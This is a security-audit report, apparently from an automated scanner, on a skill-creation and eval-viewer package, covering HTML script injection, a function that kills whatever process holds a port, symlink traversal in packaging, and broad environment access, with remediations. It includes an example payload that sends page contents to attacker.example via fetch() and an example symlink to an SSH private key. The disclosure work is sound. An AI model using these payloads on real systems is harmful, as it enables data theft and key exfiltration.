Back to skill

Security audit

Skill Creator Anthropic

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly a coherent skill-building and evaluation helper, but it includes unsafe local side effects and viewer vulnerabilities that users should review before installing.

Install only if you are comfortable with a skill that can run local Python helpers, invoke the Claude CLI, create and package skill files, write eval workspaces, and start a localhost review server. Avoid using it on untrusted eval outputs or untrusted skill directories until the HTML embedding, arbitrary port-kill behavior, and symlink packaging issue are fixed. Run it without elevated privileges and clean up any viewer process after review.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
eval-viewer/generate_review.py:279
Finding
Stored JavaScript Injection Through Unescaped Embedded Evaluation Data<![CDATA[ ## Vulnerability Details **File Location**: `eval-viewer/generate_review.py:279-281` **Vulnerability Type**: Stored script injection in generated HTML **Risk Level**: High ### Vulnerable Code ```python data_json = json.dumps(embedded) return template.replace( "/*__EMBEDDED_DATA__*/", f"const EMBEDDED_DATA = {data_json};" ) ``` ### Technical Analysis The generator serializes evaluation prompts, generated output files, grading records, previous feedback, and benchmark data using `json.dumps()` and inserts the result directly into an executable `<script>` element in `viewer.html`. JSON encoding does not make data safe for embedding in an HTML script context. In particular, it does not escape the HTML parser sequence `</script>`. An attacker-controlled output containing a value such as: ```html </script><script> fetch("https://attacker.example/collect", { method: "POST", mode: "no-cors", body: document.documentElement.innerHTML }); </script> ``` can terminate the original script element and introduce a new executable script element. This occurs at the HTML parsing layer before JavaScript string or JSON semantics can protect the content. The affected data is not necessarily trusted. `embed_file()` reads files produced by evaluated skills, while prompts, grading evidence, benchmark notes, and prior outputs can also contain externally influenced content. The declared workflow directs users to open this viewer, making stored payload execution a realistic attack surface. ### Attack Path 1. An attacker supplies a malicious prompt, evaluated skill, input file, or other content that causes an evaluation output file to contain a `</script><script>...</script>` payload. 2. `generate_review.py` reads the generated file and places its contents in the `embedded` object. 3. `json.dumps(embedded)` preserves the literal `</script>` sequence. 4. `generate_html()` inserts the serialized object into the executable script block in `viewer.html`. 5. ...[truncated 1122 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not insert untrusted JSON directly into an executable script element. 2. Store serialized data in an inert element: ```html <script id="embedded-data" type="application/json"></script> ``` Populate it with safely encoded text and load it with: ```javascript const EMBEDDED_DATA = JSON.parse( document.getElementById("embedded-data").textContent ); ``` 3. At minimum, replace HTML-significant characters before script-context insertion: ```python data_json = json.dumps(embedded).replace("<", "\\u003c") ``` Escaping `<` prevents construction of the `</script>` termination sequence. Escaping `>`, `&`, U+2028, and U+2029 should also be considered for robust cross-environment safety. 4. Add a restrictive Content Security Policy that blocks inline and unauthorized external scripts. Prefer a nonce- or hash-based policy. 5. Add regression tests using output, prompt, grading, and benchmark values containing: - `</script>` - `<script>alert(1)</script>` - HTML event handlers - Unicode and malformed markup variants 6. Treat all evaluated outputs as hostile content, regardless of file extension. ]]>

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
eval-viewer/generate_review.py:287
Finding
Viewer Startup Terminates Unrelated Processes Listening on the Selected Port<![CDATA[ ## Vulnerability Details **File Location**: `eval-viewer/generate_review.py:287-300` and `eval-viewer/generate_review.py:437-438` **Vulnerability Type**: Unauthorized process termination and violation of least privilege **Risk Level**: Medium ### Vulnerable Code ```python def _kill_port(port: int) -> None: """Kill any process listening on the given port.""" try: result = subprocess.run( ["lsof", "-ti", f":{port}"], capture_output=True, text=True, timeout=5, ) for pid_str in result.stdout.strip().split("\n"): if pid_str.strip(): try: os.kill(int(pid_str.strip()), signal.SIGTERM) except (ProcessLookupError, ValueError): pass if result.stdout.strip(): time.sleep(0.5) except subprocess.TimeoutExpired: pass except FileNotFoundError: print("Note: lsof not found, cannot check if port is in use", file=sys.stderr) ``` The function is invoked unconditionally before binding the review server: ```python # Kill any existing process on the target port port = args.port _kill_port(port) ``` ### Technical Analysis The viewer searches for every process listening on the selected port and sends each process `SIGTERM`. It does not verify that the process is an earlier instance of this viewer, confirm process ownership or identity, or request user authorization. The operating system limits `os.kill()` according to the current user's permissions, but this still allows the viewer to terminate unrelated applications owned by the same user. If the script is run under an elevated account, the affected scope becomes correspondingly broader. This behavior is unnecessary for the declared functionality. The code already contains a safer fallback that binds to an automatically selected free port if the preferred port is unavailable. Automatically terminating another service therefore exceeds t ...[truncated 1085 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove `_kill_port()` and never terminate an arbitrary listener automatically. 2. Attempt to bind the requested port directly. 3. If binding fails, either: - Bind to port `0` and let the operating system select a free port, or - Report the conflict and ask the user to choose another port. 4. If cleanup of an earlier viewer instance is required, maintain a PID file containing: - The viewer PID. - A random instance identifier. - The port. - Process start-time metadata. 5. Before terminating a recorded viewer process, validate its executable, command line, start time, and ownership. Request explicit user confirmation when identity cannot be established. 6. Document that the server binds only to `127.0.0.1` and should normally run without elevated privileges. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/package_skill.py:91
Finding
Skill Packager Follows Symbolic Links and Can Archive Files Outside the Skill Directory<![CDATA[ ## Vulnerability Details **File Location**: `scripts/package_skill.py:91-99` **Vulnerability Type**: Symbolic-link traversal and unintended local file disclosure **Risk Level**: Medium ### Vulnerable Code ```python with zipfile.ZipFile(skill_filename, 'w', zipfile.ZIP_DEFLATED) as zipf: # Walk through the skill directory, excluding build artifacts for file_path in skill_path.rglob('*'): if not file_path.is_file(): continue arcname = file_path.relative_to(skill_path.parent) if should_exclude(arcname): print(f" Skipped: {arcname}") continue zipf.write(file_path, arcname) print(f" Added: {arcname}") ``` ### Technical Analysis The packager recursively enumerates paths and accepts any path for which `Path.is_file()` returns true. For a symbolic link to a regular file, `is_file()` follows the link and returns true. `zipfile.ZipFile.write()` then opens the link target and writes its contents to the archive. The code only verifies that the symbolic link's directory entry appears under the skill directory. It does not resolve the path and confirm that the final target remains inside the trusted skill root. As a result, a malicious or compromised skill can include an innocently named symlink whose target is a sensitive file elsewhere on the local filesystem. Packaging the skill copies the target's content into the distributable archive. ### Attack Path 1. An attacker provides or modifies a skill directory. 2. The attacker creates a symbolic link inside it, for example: ```text skill-name/references/example.txt -> /home/user/.ssh/id_rsa ``` 3. The user runs: ```bash python -m scripts.package_skill skill-name ``` 4. `rglob()` finds `references/example.txt`. 5. `is_file()` follows the symlink and accepts the external regular file. 6. `zipf.write()` reads the external target and stores its contents as `skill-name/references/example.txt`. 7. The user distributes or upl ...[truncated 713 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Reject symbolic links explicitly: ```python if file_path.is_symlink(): print(f" Skipped symlink: {file_path}") continue ``` 2. Resolve every candidate and verify that its target remains within the skill directory: ```python resolved_root = skill_path.resolve() for file_path in skill_path.rglob("*"): if file_path.is_symlink(): continue resolved_file = file_path.resolve() if not resolved_file.is_relative_to(resolved_root): raise ValueError(f"Path escapes skill directory: {file_path}") if not resolved_file.is_file(): continue ``` 3. Perform the containment check immediately before opening the file to reduce time-of-check/time-of-use risk. 4. Consider using descriptor-based, no-follow file operations on platforms that support them when packaging untrusted directories. 5. Fail packaging rather than silently skipping a symlink when the skill is expected to contain only ordinary files; this makes malicious or accidental links visible to the user. 6. Add tests for: - Symlinks to files outside the skill root. - Symlinks to files inside the skill root. - Broken symlinks. - Nested symlinked directories. - Links targeting sensitive test fixtures. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
Findings (23)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The declared description presents a broad skill-authoring and optimization tool: creating new skills, editing existing skills, improving performance, running evals, benchmarking, and optimizing descriptions for trigger accuracy. The supplied code chunk instead implements a local eval review utility. Its primary function is to discover eval runs in a workspace, read prompts/outputs/grading, generate an HTML review page, serve it through a lightweight HTTP server, and save human feedback. While this is related to evaluation workflows, it is only a reviewer/viewer component, not a system for creating or modifying skills or running/optimizing them. It also includes undeclared operational behavior such as killing processes on a port and launching a browser. Therefore the actual behavior is materially narrower and different from the declared purpose.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
There is a clear mismatch between the declared purpose and the code’s actual behavior. The description claims functionality around skill creation, modification, optimization, evaluation, benchmarking, and trigger-description tuning. However, the supplied code only validates a local skill directory and packages it into a .skill file using zip compression while excluding build artifacts and certain directories like root-level evals. This is a materially different primary purpose, not merely an implementation detail. No evidence in the code supports the declared evaluation or optimization capabilities.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The declared description promises a broad skill authoring, editing, optimization, and performance-evaluation capability. The actual code only performs basic static validation of SKILL.md frontmatter and naming/length rules. While validation could be a supporting component of a larger skill-management tool, this chunk by itself does not implement the main declared capabilities and instead has a materially narrower purpose.

Ae1

High
Category
analysis-evasion
Content
1. Read the template from `assets/eval_review.html`
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Env Variable Harvesting

High
Category
Data Exfiltration
Content
# Remove CLAUDECODE env var to allow nesting claude -p inside a
    # Claude Code session. The guard is for interactive terminal conflicts;
    # programmatic subprocess usage is safe. Same pattern as run_eval.py.
    env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

    result = subprocess.run(
        cmd,
Confidence
70% confidence
Finding
Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Env Variable Harvesting

High
Category
Data Exfiltration
Content
# Remove CLAUDECODE env var to allow nesting claude -p inside a
    # Claude Code session. The guard is for interactive terminal conflicts;
    # programmatic subprocess usage is safe. Same pattern as run_eval.py.
    env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

    result = subprocess.run(
        cmd,
Confidence
70% confidence
Finding
Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Agent Config Directory Access

High
Category
Agent Snooping
Content
def find_project_root() -> Path:
    """Find the project root by walking up from cwd looking for .claude/.

    Mimics how Claude Code discovers its project root, so the command file
    we create ends up where claude -p will look for it.
Confidence
85% confidence
Finding
Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Lp3

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding
Without declared permissions the skill's intent is opaque and cannot be validated.

Vague Triggers

Medium
Confidence
96% confidence
Finding
The guidance explicitly recommends making descriptions 'pushy' and triggering even when users do not explicitly ask for the skill, which increases the chance of over-triggering on adjacent requests. In a powerful agent environment, overbroad invocation can cause unintended file operations, shell usage, subprocess launches, or evaluation workflows in contexts where the user did not intend them.

Session Persistence

Medium
Category
Rogue Agent
Content
4. **Launch the viewer** with both qualitative outputs and quantitative data:
   ```bash
   nohup python <skill-creator-path>/eval-viewer/generate_review.py \
     <workspace>/iteration-N \
     --skill-name "my-skill" \
     --benchmark <workspace>/iteration-N/benchmark.json \
Confidence
85% confidence
Finding
Using nohup to launch a background review server creates session persistence beyond the immediate interaction and can leave long-lived processes serving workspace contents or consuming system resources after the task appears finished. In shared or headless environments, this increases the risk of stale services, unintended data exposure, and orphaned processes if cleanup fails or the PID is lost.

Intent-Code Divergence

Medium
Confidence
91% confidence
Finding
The manifest for skill-creator says the skill is used to create, modify, improve, and optimize skills, including benchmarking performance. But this section explicitly states that when analyzing benchmark results, the analyzer's purpose is to surface patterns and anomalies "not suggest skill improvements." That is an active contradiction between documented intent and the broader skill purpose of improving/optimizing skills via performance analysis.

Description-Behavior Mismatch

Medium
Confidence
91% confidence
Finding
The documentation omits a security-relevant side effect: starting the viewer may terminate existing processes on the selected port. This mismatch increases operational risk because users cannot give informed consent and may unknowingly disrupt other services; while not as severe as the kill behavior itself, hidden destructive behavior is still a legitimate security concern.

Context-Inappropriate Capability

Medium
Confidence
99% confidence
Finding
The code forcibly terminates any process listening on the requested port without verifying ownership, identity, or whether the process is safe to kill. In the context of a skill-development/eval tool, this is especially risky because users may run it on shared workstations or alongside other local services, turning a simple viewer launch into an unintended local denial-of-service action.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
def _kill_port(port: int) -> None:
    """Kill any process listening on the given port."""
    try:
        result = subprocess.run(
            ["lsof", "-ti", f":{port}"],
            capture_output=True, text=True, timeout=5,
        )
Confidence
95% confidence
Finding
The subprocess call itself is not command-injection prone because it uses an argument list and the port is parsed as an integer, but it is part of functionality that enumerates processes bound to a port and then enables terminating them. In a local developer tool this creates an unsafe side effect: running the viewer can kill unrelated local services, causing denial of service or data loss if those processes are not this tool's own prior instance.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The page auto-saves textarea contents to /api/feedback as the user types, which transmits user-entered review content over the network. Although the UI later says feedback has been saved, there is no prior warning near the textarea or instructions that feedback will be auto-posted to a server.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
The final submit action sends all review data to /api/feedback with status complete, but the interface does not clearly warn users beforehand that pressing Submit All Reviews will transmit their entered content to a backend service. This is a network transmission of user data lacking explicit disclosure.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
# programmatic subprocess usage is safe. Same pattern as run_eval.py.
    env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

    result = subprocess.run(
        cmd,
        input=prompt,
        capture_output=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The script sends full skill content, current descriptions, eval queries, failure history, and prior results to the `claude` CLI for model processing. If those inputs contain proprietary code, secrets, customer data, or sensitive prompts, they leave the local process boundary and may be exposed to an external service without an explicit user-facing consent or redaction step.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
When `log_dir` is provided, the script writes the full prompt, model response, parsed description, and potentially the rewritten prompt/response to disk. Those logs can contain the entire skill body, evaluation queries, history, and other sensitive operational context, creating a durable local disclosure risk if the directory is shared, backed up, or readable by other users/processes.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
# programmatic subprocess usage is safe.
        env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"}

        process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.DEVNULL,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Missing User Warnings

Low
Confidence
83% confidence
Finding
This markdown skill description directs the agent to save results to `{outputs_dir}/../grading.json`, which is a file write affecting the user's workspace. The document does not include any warning or disclosure that the skill will create or overwrite this file, which is the kind of behavior the missing-warning rule covers for markdown files.

Missing User Warnings

Low
Confidence
91% confidence
Finding
This HTML file loads fonts from Google Fonts and a JavaScript library from SheetJS CDN, which causes the user's browser to contact external services and transmit request metadata. There is no visible warning, comment, or user disclosure in the UI explaining that opening the viewer will make third-party network requests.

Missing User Warnings

Low
Confidence
81% confidence
Finding
This code launches an external subprocess to run `claude -p`, which is a safety-relevant operation under the code-file criteria. Although the docstring explains the behavior for developers, there is no user-facing confirmation prompt or visible runtime disclosure when the subprocess is executed.

Static analysis

No suspicious patterns detected.